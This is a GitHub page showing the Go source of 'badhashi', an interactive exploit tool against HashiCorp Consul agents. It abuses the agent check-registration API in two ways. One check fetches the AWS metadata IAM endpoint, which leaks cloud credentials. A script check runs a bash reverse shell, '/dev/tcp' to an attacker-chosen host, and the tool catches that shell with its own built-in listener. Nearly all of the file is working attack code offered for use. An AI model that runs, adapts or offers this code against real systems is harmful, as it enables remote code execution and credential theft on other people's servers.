-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.go
813 lines (748 loc) · 31.3 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
package main
import (
"bufio"
"bytes"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"net/http"
"os"
"strconv"
"strings"
"time"
"github.com/briandowns/spinner"
"github.com/chzyer/readline"
"github.com/gookit/color"
)
var target = ""
var base = ""
type vulnerable struct {
Config struct {
Datacenter string `json:"Datacenter"`
NodeName string `json:"NodeName"`
NodeID string `json:"NodeID"`
Revision string `json:"Revision"`
Server bool `json:"Server"`
Version string `json:"Version"`
} `json:"Config"`
DebugConfig struct {
ACLAgentMasterToken string `json:"ACLAgentMasterToken"`
ACLAgentToken string `json:"ACLAgentToken"`
ACLDatacenter string `json:"ACLDatacenter"`
ACLDefaultPolicy string `json:"ACLDefaultPolicy"`
ACLDisabledTTL string `json:"ACLDisabledTTL"`
ACLDownPolicy string `json:"ACLDownPolicy"`
ACLEnableKeyListPolicy bool `json:"ACLEnableKeyListPolicy"`
ACLEnableTokenPersistence bool `json:"ACLEnableTokenPersistence"`
ACLEnforceVersion8 bool `json:"ACLEnforceVersion8"`
ACLMasterToken string `json:"ACLMasterToken"`
ACLPolicyTTL string `json:"ACLPolicyTTL"`
ACLReplicationToken string `json:"ACLReplicationToken"`
ACLRoleTTL string `json:"ACLRoleTTL"`
ACLToken string `json:"ACLToken"`
ACLTokenReplication bool `json:"ACLTokenReplication"`
ACLTokenTTL string `json:"ACLTokenTTL"`
ACLsEnabled bool `json:"ACLsEnabled"`
AEInterval string `json:"AEInterval"`
AdvertiseAddrLAN string `json:"AdvertiseAddrLAN"`
AdvertiseAddrWAN string `json:"AdvertiseAddrWAN"`
AllowWriteHTTPFrom []interface{} `json:"AllowWriteHTTPFrom"`
AutoEncryptAllowTLS bool `json:"AutoEncryptAllowTLS"`
AutoEncryptTLS bool `json:"AutoEncryptTLS"`
AutopilotCleanupDeadServers bool `json:"AutopilotCleanupDeadServers"`
AutopilotDisableUpgradeMigration bool `json:"AutopilotDisableUpgradeMigration"`
AutopilotLastContactThreshold string `json:"AutopilotLastContactThreshold"`
AutopilotMaxTrailingLogs int `json:"AutopilotMaxTrailingLogs"`
AutopilotMinQuorum int `json:"AutopilotMinQuorum"`
AutopilotRedundancyZoneTag string `json:"AutopilotRedundancyZoneTag"`
AutopilotServerStabilizationTime string `json:"AutopilotServerStabilizationTime"`
AutopilotUpgradeVersionTag string `json:"AutopilotUpgradeVersionTag"`
BindAddr string `json:"BindAddr"`
Bootstrap bool `json:"Bootstrap"`
BootstrapExpect int `json:"BootstrapExpect"`
CAFile string `json:"CAFile"`
CAPath string `json:"CAPath"`
CertFile string `json:"CertFile"`
CheckDeregisterIntervalMin string `json:"CheckDeregisterIntervalMin"`
CheckOutputMaxSize int `json:"CheckOutputMaxSize"`
CheckReapInterval string `json:"CheckReapInterval"`
CheckUpdateInterval string `json:"CheckUpdateInterval"`
Checks []interface{} `json:"Checks"`
ClientAddrs []string `json:"ClientAddrs"`
ConfigEntryBootstrap []interface{} `json:"ConfigEntryBootstrap"`
ConnectCAConfig struct {
} `json:"ConnectCAConfig"`
ConnectCAProvider string `json:"ConnectCAProvider"`
ConnectEnabled bool `json:"ConnectEnabled"`
ConnectSidecarMaxPort int `json:"ConnectSidecarMaxPort"`
ConnectSidecarMinPort int `json:"ConnectSidecarMinPort"`
ConnectTestCALeafRootChangeSpread string `json:"ConnectTestCALeafRootChangeSpread"`
ConsulCoordinateUpdateBatchSize int `json:"ConsulCoordinateUpdateBatchSize"`
ConsulCoordinateUpdateMaxBatches int `json:"ConsulCoordinateUpdateMaxBatches"`
ConsulCoordinateUpdatePeriod string `json:"ConsulCoordinateUpdatePeriod"`
ConsulRaftElectionTimeout string `json:"ConsulRaftElectionTimeout"`
ConsulRaftHeartbeatTimeout string `json:"ConsulRaftHeartbeatTimeout"`
ConsulRaftLeaderLeaseTimeout string `json:"ConsulRaftLeaderLeaseTimeout"`
ConsulServerHealthInterval string `json:"ConsulServerHealthInterval"`
DNSARecordLimit int `json:"DNSARecordLimit"`
DNSAddrs []string `json:"DNSAddrs"`
DNSAllowStale bool `json:"DNSAllowStale"`
DNSAltDomain string `json:"DNSAltDomain"`
DNSCacheMaxAge string `json:"DNSCacheMaxAge"`
DNSDisableCompression bool `json:"DNSDisableCompression"`
DNSDomain string `json:"DNSDomain"`
DNSEnableTruncate bool `json:"DNSEnableTruncate"`
DNSMaxStale string `json:"DNSMaxStale"`
DNSNodeMetaTXT bool `json:"DNSNodeMetaTXT"`
DNSNodeTTL string `json:"DNSNodeTTL"`
DNSOnlyPassing bool `json:"DNSOnlyPassing"`
DNSPort int `json:"DNSPort"`
DNSRecursorTimeout string `json:"DNSRecursorTimeout"`
DNSRecursors []interface{} `json:"DNSRecursors"`
DNSSOA struct {
Expire int `json:"Expire"`
Minttl int `json:"Minttl"`
Refresh int `json:"Refresh"`
Retry int `json:"Retry"`
} `json:"DNSSOA"`
DNSServiceTTL struct {
} `json:"DNSServiceTTL"`
DNSUDPAnswerLimit int `json:"DNSUDPAnswerLimit"`
DNSUseCache bool `json:"DNSUseCache"`
DataDir string `json:"DataDir"`
Datacenter string `json:"Datacenter"`
DevMode bool `json:"DevMode"`
DisableAnonymousSignature bool `json:"DisableAnonymousSignature"`
DisableCoordinates bool `json:"DisableCoordinates"`
DisableHTTPUnprintableCharFilter bool `json:"DisableHTTPUnprintableCharFilter"`
DisableHostNodeID bool `json:"DisableHostNodeID"`
DisableKeyringFile bool `json:"DisableKeyringFile"`
DisableRemoteExec bool `json:"DisableRemoteExec"`
DisableUpdateCheck bool `json:"DisableUpdateCheck"`
DiscardCheckOutput bool `json:"DiscardCheckOutput"`
DiscoveryMaxStale string `json:"DiscoveryMaxStale"`
EnableAgentTLSForChecks bool `json:"EnableAgentTLSForChecks"`
EnableCentralServiceConfig bool `json:"EnableCentralServiceConfig"`
EnableDebug bool `json:"EnableDebug"`
EnableLocalScriptChecks bool `json:"EnableLocalScriptChecks"`
EnableRemoteScriptChecks bool `json:"EnableRemoteScriptChecks"`
EnableSyslog bool `json:"EnableSyslog"`
EnableUI bool `json:"EnableUI"`
EncryptKey string `json:"EncryptKey"`
EncryptVerifyIncoming bool `json:"EncryptVerifyIncoming"`
EncryptVerifyOutgoing bool `json:"EncryptVerifyOutgoing"`
ExposeMaxPort int `json:"ExposeMaxPort"`
ExposeMinPort int `json:"ExposeMinPort"`
GRPCAddrs []interface{} `json:"GRPCAddrs"`
GRPCPort int `json:"GRPCPort"`
GossipLANGossipInterval string `json:"GossipLANGossipInterval"`
GossipLANGossipNodes int `json:"GossipLANGossipNodes"`
GossipLANProbeInterval string `json:"GossipLANProbeInterval"`
GossipLANProbeTimeout string `json:"GossipLANProbeTimeout"`
GossipLANRetransmitMult int `json:"GossipLANRetransmitMult"`
GossipLANSuspicionMult int `json:"GossipLANSuspicionMult"`
GossipWANGossipInterval string `json:"GossipWANGossipInterval"`
GossipWANGossipNodes int `json:"GossipWANGossipNodes"`
GossipWANProbeInterval string `json:"GossipWANProbeInterval"`
GossipWANProbeTimeout string `json:"GossipWANProbeTimeout"`
GossipWANRetransmitMult int `json:"GossipWANRetransmitMult"`
GossipWANSuspicionMult int `json:"GossipWANSuspicionMult"`
HTTPAddrs []string `json:"HTTPAddrs"`
HTTPBlockEndpoints []interface{} `json:"HTTPBlockEndpoints"`
HTTPMaxConnsPerClient int `json:"HTTPMaxConnsPerClient"`
HTTPPort int `json:"HTTPPort"`
HTTPResponseHeaders struct {
} `json:"HTTPResponseHeaders"`
HTTPSAddrs []interface{} `json:"HTTPSAddrs"`
HTTPSHandshakeTimeout string `json:"HTTPSHandshakeTimeout"`
HTTPSPort int `json:"HTTPSPort"`
KVMaxValueSize int `json:"KVMaxValueSize"`
KeyFile string `json:"KeyFile"`
LeaveDrainTime string `json:"LeaveDrainTime"`
LeaveOnTerm bool `json:"LeaveOnTerm"`
LogFile string `json:"LogFile"`
LogLevel string `json:"LogLevel"`
LogRotateBytes int `json:"LogRotateBytes"`
LogRotateDuration string `json:"LogRotateDuration"`
LogRotateMaxFiles int `json:"LogRotateMaxFiles"`
NodeID string `json:"NodeID"`
NodeMeta struct {
} `json:"NodeMeta"`
NodeName string `json:"NodeName"`
NonVotingServer bool `json:"NonVotingServer"`
PidFile string `json:"PidFile"`
PrimaryDatacenter string `json:"PrimaryDatacenter"`
RPCAdvertiseAddr string `json:"RPCAdvertiseAddr"`
RPCBindAddr string `json:"RPCBindAddr"`
RPCHandshakeTimeout string `json:"RPCHandshakeTimeout"`
RPCHoldTimeout string `json:"RPCHoldTimeout"`
RPCMaxBurst int `json:"RPCMaxBurst"`
RPCMaxConnsPerClient int `json:"RPCMaxConnsPerClient"`
RPCProtocol int `json:"RPCProtocol"`
RPCRateLimit int `json:"RPCRateLimit"`
RaftProtocol int `json:"RaftProtocol"`
RaftSnapshotInterval string `json:"RaftSnapshotInterval"`
RaftSnapshotThreshold int `json:"RaftSnapshotThreshold"`
RaftTrailingLogs int `json:"RaftTrailingLogs"`
ReconnectTimeoutLAN string `json:"ReconnectTimeoutLAN"`
ReconnectTimeoutWAN string `json:"ReconnectTimeoutWAN"`
RejoinAfterLeave bool `json:"RejoinAfterLeave"`
RetryJoinIntervalLAN string `json:"RetryJoinIntervalLAN"`
RetryJoinIntervalWAN string `json:"RetryJoinIntervalWAN"`
RetryJoinLAN []string `json:"RetryJoinLAN"`
RetryJoinMaxAttemptsLAN int `json:"RetryJoinMaxAttemptsLAN"`
RetryJoinMaxAttemptsWAN int `json:"RetryJoinMaxAttemptsWAN"`
RetryJoinWAN []interface{} `json:"RetryJoinWAN"`
Revision string `json:"Revision"`
SegmentLimit int `json:"SegmentLimit"`
SegmentName string `json:"SegmentName"`
SegmentNameLimit int `json:"SegmentNameLimit"`
Segments []interface{} `json:"Segments"`
SerfAdvertiseAddrLAN string `json:"SerfAdvertiseAddrLAN"`
SerfAdvertiseAddrWAN string `json:"SerfAdvertiseAddrWAN"`
SerfBindAddrLAN string `json:"SerfBindAddrLAN"`
SerfBindAddrWAN string `json:"SerfBindAddrWAN"`
SerfPortLAN int `json:"SerfPortLAN"`
SerfPortWAN int `json:"SerfPortWAN"`
ServerMode bool `json:"ServerMode"`
ServerName string `json:"ServerName"`
ServerPort int `json:"ServerPort"`
Services []interface{} `json:"Services"`
SessionTTLMin string `json:"SessionTTLMin"`
SkipLeaveOnInt bool `json:"SkipLeaveOnInt"`
StartJoinAddrsLAN []interface{} `json:"StartJoinAddrsLAN"`
StartJoinAddrsWAN []interface{} `json:"StartJoinAddrsWAN"`
SyncCoordinateIntervalMin string `json:"SyncCoordinateIntervalMin"`
SyncCoordinateRateTarget int `json:"SyncCoordinateRateTarget"`
SyslogFacility string `json:"SyslogFacility"`
TLSCipherSuites []interface{} `json:"TLSCipherSuites"`
TLSMinVersion string `json:"TLSMinVersion"`
TLSPreferServerCipherSuites bool `json:"TLSPreferServerCipherSuites"`
TaggedAddresses struct {
Lan string `json:"lan"`
Wan string `json:"wan"`
} `json:"TaggedAddresses"`
Telemetry struct {
AllowedPrefixes []interface{} `json:"AllowedPrefixes"`
BlockedPrefixes []interface{} `json:"BlockedPrefixes"`
CirconusAPIApp string `json:"CirconusAPIApp"`
CirconusAPIToken string `json:"CirconusAPIToken"`
CirconusAPIURL string `json:"CirconusAPIURL"`
CirconusBrokerID string `json:"CirconusBrokerID"`
CirconusBrokerSelectTag string `json:"CirconusBrokerSelectTag"`
CirconusCheckDisplayName string `json:"CirconusCheckDisplayName"`
CirconusCheckForceMetricActivation string `json:"CirconusCheckForceMetricActivation"`
CirconusCheckID string `json:"CirconusCheckID"`
CirconusCheckInstanceID string `json:"CirconusCheckInstanceID"`
CirconusCheckSearchTag string `json:"CirconusCheckSearchTag"`
CirconusCheckTags string `json:"CirconusCheckTags"`
CirconusSubmissionInterval string `json:"CirconusSubmissionInterval"`
CirconusSubmissionURL string `json:"CirconusSubmissionURL"`
DisableHostname bool `json:"DisableHostname"`
DogstatsdAddr string `json:"DogstatsdAddr"`
DogstatsdTags []interface{} `json:"DogstatsdTags"`
FilterDefault bool `json:"FilterDefault"`
MetricsPrefix string `json:"MetricsPrefix"`
PrometheusRetentionTime string `json:"PrometheusRetentionTime"`
StatsdAddr string `json:"StatsdAddr"`
StatsiteAddr string `json:"StatsiteAddr"`
} `json:"Telemetry"`
TranslateWANAddrs bool `json:"TranslateWANAddrs"`
UIContentPath string `json:"UIContentPath"`
UIDir string `json:"UIDir"`
UnixSocketGroup string `json:"UnixSocketGroup"`
UnixSocketMode string `json:"UnixSocketMode"`
UnixSocketUser string `json:"UnixSocketUser"`
VerifyIncoming bool `json:"VerifyIncoming"`
VerifyIncomingHTTPS bool `json:"VerifyIncomingHTTPS"`
VerifyIncomingRPC bool `json:"VerifyIncomingRPC"`
VerifyOutgoing bool `json:"VerifyOutgoing"`
VerifyServerHostname bool `json:"VerifyServerHostname"`
Version string `json:"Version"`
VersionPrerelease string `json:"VersionPrerelease"`
Watches []interface{} `json:"Watches"`
} `json:"DebugConfig"`
Coord struct {
Vec []float64 `json:"Vec"`
Error float64 `json:"Error"`
Adjustment float64 `json:"Adjustment"`
Height float64 `json:"Height"`
} `json:"Coord"`
Member struct {
Name string `json:"Name"`
Addr string `json:"Addr"`
Port int `json:"Port"`
Tags struct {
Acls string `json:"acls"`
Build string `json:"build"`
Dc string `json:"dc"`
Expect string `json:"expect"`
ID string `json:"id"`
Port string `json:"port"`
RaftVsn string `json:"raft_vsn"`
Role string `json:"role"`
Segment string `json:"segment"`
Vsn string `json:"vsn"`
VsnMax string `json:"vsn_max"`
VsnMin string `json:"vsn_min"`
WanJoinPort string `json:"wan_join_port"`
} `json:"Tags"`
Status int `json:"Status"`
ProtocolMin int `json:"ProtocolMin"`
ProtocolMax int `json:"ProtocolMax"`
ProtocolCur int `json:"ProtocolCur"`
DelegateMin int `json:"DelegateMin"`
DelegateMax int `json:"DelegateMax"`
DelegateCur int `json:"DelegateCur"`
} `json:"Member"`
Stats struct {
Agent struct {
CheckMonitors string `json:"check_monitors"`
CheckTtls string `json:"check_ttls"`
Checks string `json:"checks"`
Services string `json:"services"`
} `json:"agent"`
Build struct {
Prerelease string `json:"prerelease"`
Revision string `json:"revision"`
Version string `json:"version"`
} `json:"build"`
Consul struct {
ACL string `json:"acl"`
Bootstrap string `json:"bootstrap"`
KnownDatacenters string `json:"known_datacenters"`
Leader string `json:"leader"`
LeaderAddr string `json:"leader_addr"`
Server string `json:"server"`
} `json:"consul"`
License struct {
Customer string `json:"customer"`
ExpirationTime string `json:"expiration_time"`
Features string `json:"features"`
ID string `json:"id"`
InstallID string `json:"install_id"`
IssueTime string `json:"issue_time"`
Product string `json:"product"`
StartTime string `json:"start_time"`
} `json:"license"`
Raft struct {
AppliedIndex string `json:"applied_index"`
CommitIndex string `json:"commit_index"`
FsmPending string `json:"fsm_pending"`
LastContact string `json:"last_contact"`
LastLogIndex string `json:"last_log_index"`
LastLogTerm string `json:"last_log_term"`
LastSnapshotIndex string `json:"last_snapshot_index"`
LastSnapshotTerm string `json:"last_snapshot_term"`
LatestConfiguration string `json:"latest_configuration"`
LatestConfigurationIndex string `json:"latest_configuration_index"`
NumPeers string `json:"num_peers"`
ProtocolVersion string `json:"protocol_version"`
ProtocolVersionMax string `json:"protocol_version_max"`
ProtocolVersionMin string `json:"protocol_version_min"`
SnapshotVersionMax string `json:"snapshot_version_max"`
SnapshotVersionMin string `json:"snapshot_version_min"`
State string `json:"state"`
Term string `json:"term"`
} `json:"raft"`
Runtime struct {
Arch string `json:"arch"`
CPUCount string `json:"cpu_count"`
Goroutines string `json:"goroutines"`
MaxProcs string `json:"max_procs"`
Os string `json:"os"`
Version string `json:"version"`
} `json:"runtime"`
SerfLan struct {
CoordinateResets string `json:"coordinate_resets"`
Encrypted string `json:"encrypted"`
EventQueue string `json:"event_queue"`
EventTime string `json:"event_time"`
Failed string `json:"failed"`
HealthScore string `json:"health_score"`
IntentQueue string `json:"intent_queue"`
Left string `json:"left"`
MemberTime string `json:"member_time"`
Members string `json:"members"`
QueryQueue string `json:"query_queue"`
QueryTime string `json:"query_time"`
} `json:"serf_lan"`
SerfWan struct {
CoordinateResets string `json:"coordinate_resets"`
Encrypted string `json:"encrypted"`
EventQueue string `json:"event_queue"`
EventTime string `json:"event_time"`
Failed string `json:"failed"`
HealthScore string `json:"health_score"`
IntentQueue string `json:"intent_queue"`
Left string `json:"left"`
MemberTime string `json:"member_time"`
Members string `json:"members"`
QueryQueue string `json:"query_queue"`
QueryTime string `json:"query_time"`
} `json:"serf_wan"`
} `json:"Stats"`
Meta struct {
ConsulNetworkSegment string `json:"consul-network-segment"`
} `json:"Meta"`
}
type CheckOutput struct {
TEST struct {
Node string `json:"Node"`
CheckID string `json:"CheckID"`
Name string `json:"Name"`
Status string `json:"Status"`
Notes string `json:"Notes"`
Output string `json:"Output"`
ServiceID string `json:"ServiceID"`
ServiceName string `json:"ServiceName"`
ServiceTags []interface{} `json:"ServiceTags"`
Type string `json:"Type"`
Definition struct {
} `json:"Definition"`
CreateIndex int `json:"CreateIndex"`
ModifyIndex int `json:"ModifyIndex"`
} `json:"Test"`
}
type Check struct {
ID string `json:"id"`
Name string `json:"name"`
HTTP string `json:"http"`
TLSSkipVerify bool `json:"tls_skip_verify"`
Method string `json:"method"`
Header struct {
ContentType []string `json:"Content-Type"`
} `json:"header"`
Body string `json:"body"`
Interval string `json:"interval"`
Timeout string `json:"timeout"`
}
func main() {
start()
}
func start() {
red := color.FgRed.Render
blue := color.FgBlue.Render
green := color.FgGreen.Render
fmt.Println("Not Connected: " + red(target))
ascii := `
___. .___.__ .__ .__
\_ |__ _____ __| _/| |__ _____ _____| |__ |__|
| __ \\__ \ / __ | | | \\__ \ / ___/ | \| |
| \_\ \/ __ \_/ /_/ | | Y \/ __ \_\___ \| Y \ |
|___ (____ /\____ | |___| (____ /____ >___| /__|
\/ \/ \/ \/ \/ \/ \/ by grines`
print(ascii + "\n")
for {
var completer = readline.NewPrefixCompleter(
readline.PcItem("target"),
readline.PcItem("check",
readline.PcItem("status"),
),
readline.PcItem("exploit",
readline.PcItem("metadata"),
readline.PcItem("shell"),
readline.PcItem("payload"),
),
)
l, err := readline.NewEx(&readline.Config{
Prompt: "\033[31m»\033[0m ",
HistoryFile: "/tmp/readline.tmp",
AutoComplete: completer,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
FuncFilterInputRune: filterInput,
})
if err != nil {
panic(err)
}
defer l.Close()
log.SetOutput(l.Stderr())
if target == "" {
l.SetPrompt(red("Not Connected") + " <" + blue(target) + "> ")
} else {
l.SetPrompt(green("Connected") + " <" + blue(target) + "> ")
}
line, err := l.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
line = strings.TrimSpace(line)
switch {
case strings.HasPrefix(line, "target "):
parts := strings.Split(line, " ")
target = parts[1]
case strings.HasPrefix(line, "check status"):
getStatus(target)
case strings.HasPrefix(line, "exploit metadata"):
getMeta(target)
case strings.HasPrefix(line, "exploit shell"):
parts := strings.Split(line, " ")
rhost := parts[2]
rport := parts[3]
lport := parts[4]
getShell(target, rhost, rport, lport)
case line == "login":
pswd, err := l.ReadPassword("please enter your password: ")
if err != nil {
break
}
println("you enter:", strconv.Quote(string(pswd)))
case line == "history":
dat, err := ioutil.ReadFile("/tmp/readline.tmp")
if err != nil {
break
}
fmt.Print(string(dat))
case line == "bye":
goto exit
case line == "sleep":
log.Println("sleep 4 second")
time.Sleep(4 * time.Second)
default:
cmdString := line
if cmdString == "exit" {
os.Exit(1)
}
}
}
exit:
}
func filterInput(r rune) (rune, bool) {
switch r {
// block CtrlZ feature
case readline.CharCtrlZ:
return r, false
}
return r, true
}
func getStatus(url string) (bool, error) {
url = url + "/v1/agent/self"
resp, err := http.Get(url)
if err != nil {
fmt.Println("err:", err)
return false, err
}
defer resp.Body.Close()
body, readErr := ioutil.ReadAll(resp.Body)
if readErr != nil {
fmt.Println(readErr)
return false, err
}
var results vulnerable
jsonErr := json.Unmarshal(body, &results)
if jsonErr != nil {
fmt.Println(jsonErr)
return false, err
}
fmt.Printf("DisableRemoteExec: %v\n", results.DebugConfig.DisableRemoteExec)
fmt.Printf("EnableRemoteScriptChecks: %v\n", results.DebugConfig.EnableRemoteScriptChecks)
fmt.Printf("NodeName: %v\n", results.Config.NodeName)
fmt.Printf("Version: %v\n", results.Config.Version)
fmt.Printf("Server: %v\n", results.Config.Server)
return false, err
}
func getMeta(base string) {
urls := base + "/v1/agent/check/register"
checks := Check{
ID: "Test",
Name: "This is a test",
HTTP: "http://169.254.169.254/latest/meta-data/iam/info",
TLSSkipVerify: false,
Method: "GET",
Body: "",
Interval: "10s",
Timeout: "1s",
}
// initialize http client
client := &http.Client{}
// marshal User to json
json, err := json.Marshal(checks)
if err != nil {
panic(err)
}
// set the HTTP method, url, and request body
req, err := http.NewRequest(http.MethodPut, urls, bytes.NewBuffer(json))
if err != nil {
panic(err)
}
// set the request header Content-Type for json
req.Header.Set("Content-Type", "application/json; charset=utf-8")
resp, err := client.Do(req)
if err != nil {
panic(err)
}
if resp.StatusCode == 200 {
fmt.Println("----")
fmt.Println("Check Registered")
fmt.Println("Waiting for command to register...")
s := spinner.New(spinner.CharSets[9], 100*time.Millisecond) // Build our new spinner
s.Start() // Start the spinner
time.Sleep(20 * time.Second) // Run for some time to simulate work
s.Stop()
getHTTPOutput(base)
deregisterCheck(base, "Test")
} else {
fmt.Println(resp.StatusCode)
fmt.Println("something went wrong")
}
}
func deregisterCheck(base string, checkid string) {
urls := base + "/v1/agent/check/deregister/" + checkid
checks := Check{
ID: checkid,
}
// initialize http client
client := &http.Client{}
// marshal User to json
json, err := json.Marshal(checks)
if err != nil {
panic(err)
}
// set the HTTP method, url, and request body
req, err := http.NewRequest(http.MethodPut, urls, bytes.NewBuffer(json))
if err != nil {
panic(err)
}
// set the request header Content-Type for json
req.Header.Set("Content-Type", "application/json; charset=utf-8")
resp, err := client.Do(req)
if err != nil {
panic(err)
}
if resp.StatusCode == 200 {
fmt.Println("Check Deregistered")
fmt.Println("---")
} else {
fmt.Println("Oops..")
}
}
func getHTTPOutput(url string) (bool, error) {
red := color.FgRed.Render
url = url + "/v1/agent/checks?filter=CheckID%20==%20\"Test\""
resp, err := http.Get(url)
if err != nil {
fmt.Println("err:", err)
return false, err
}
defer resp.Body.Close()
body, readErr := ioutil.ReadAll(resp.Body)
if readErr != nil {
fmt.Println(readErr)
return false, err
}
var results CheckOutput
jsonErr := json.Unmarshal(body, &results)
if jsonErr != nil {
fmt.Println(jsonErr)
return false, err
}
fmt.Printf("ID: %v\n", results.TEST.CheckID)
fmt.Printf("%v\n", red(results.TEST.Output))
return false, err
}
func getShell(base string, host string, port string, lport string) {
urls := base + "/v1/agent/check/register"
//urls := "https://webhook.site/55406cec-59a6-4799-8f58-9c475c28a802"
payload := fmt.Sprintf(`{"id": "Test2","name": "Test2","args": ["bash","-c","bash -i >& /dev/tcp/%v/%v 0>&1"],"interval": "10s"}`, host, port)
checks := []byte(payload)
// initialize http client
client := &http.Client{}
// set the HTTP method, url, and request body
req, err := http.NewRequest(http.MethodPut, urls, bytes.NewBuffer(checks))
if err != nil {
panic(err)
}
// set the request header Content-Type for json
req.Header.Set("Content-Type", "application/json; charset=utf-8")
resp, err := client.Do(req)
if err != nil {
panic(err)
}
if resp.StatusCode == 200 {
fmt.Println("----")
fmt.Println("Check Registered")
fmt.Println("Waiting for callback...")
s := spinner.New(spinner.CharSets[9], 100*time.Millisecond) // Build our new spinner
s.Start() // Start the spinner
time.Sleep(5 * time.Second) // Run for some time to simulate work
s.Stop()
nc(base, host, port, lport)
} else {
fmt.Println(resp.Body)
fmt.Println(resp.StatusCode)
}
}
func nc(base string, host string, port string, lport string) {
listener, err := net.Listen("tcp", ":"+lport)
if err != nil {
log.Fatalln("Unable to bind to port")
}
log.Println("Listening on localhost:" + lport)
for {
// Wait for connection. Create net.Conn on connection established.
conn, err := listener.Accept()
deregisterCheck(base, "Test2")
if err != nil {
log.Fatalln("Unable to accept connection")
}
fmt.Println("Client " + conn.RemoteAddr().String() + " connected.")
tmp := make([]byte, 10000)
for i := 1; i < 3; i++ {
err := conn.SetReadDeadline(time.Now().Add(1 * time.Second))
_, err = conn.Read(tmp)
if err != nil {
if err != io.EOF {
fmt.Println("read error:", err)
}
break
}
}
// Handle the connection. Using goroutine for concurrency.
go handleConnection(conn)
}
}
func handleConnection(conn net.Conn) {
// Create new reader from Stdin.
reader := bufio.NewReader(os.Stdin)
// run loop forever, until exit.
for {
defer conn.Close()
// Prompting message.
fmt.Print("bash-$: ")
// Read in input until newline, Enter key.
input, _ := reader.ReadString('\n')
if input == "exit\n" {
conn.Close()
start()
}
// Send to socket connection.
conn.Write([]byte(input))
for i := 1; i < 3; i++ {
defer conn.Close()
err := conn.SetReadDeadline(time.Now().Add(1 * time.Second))
b := make([]byte, 100000)
size, err := conn.Read(b)
if err != nil {
if err != io.EOF {
fmt.Println("read error:", err)
}
break
}
path := string(b[0:size])
if !strings.Contains(path, "bash") {
fmt.Println(path)
}
}
}
}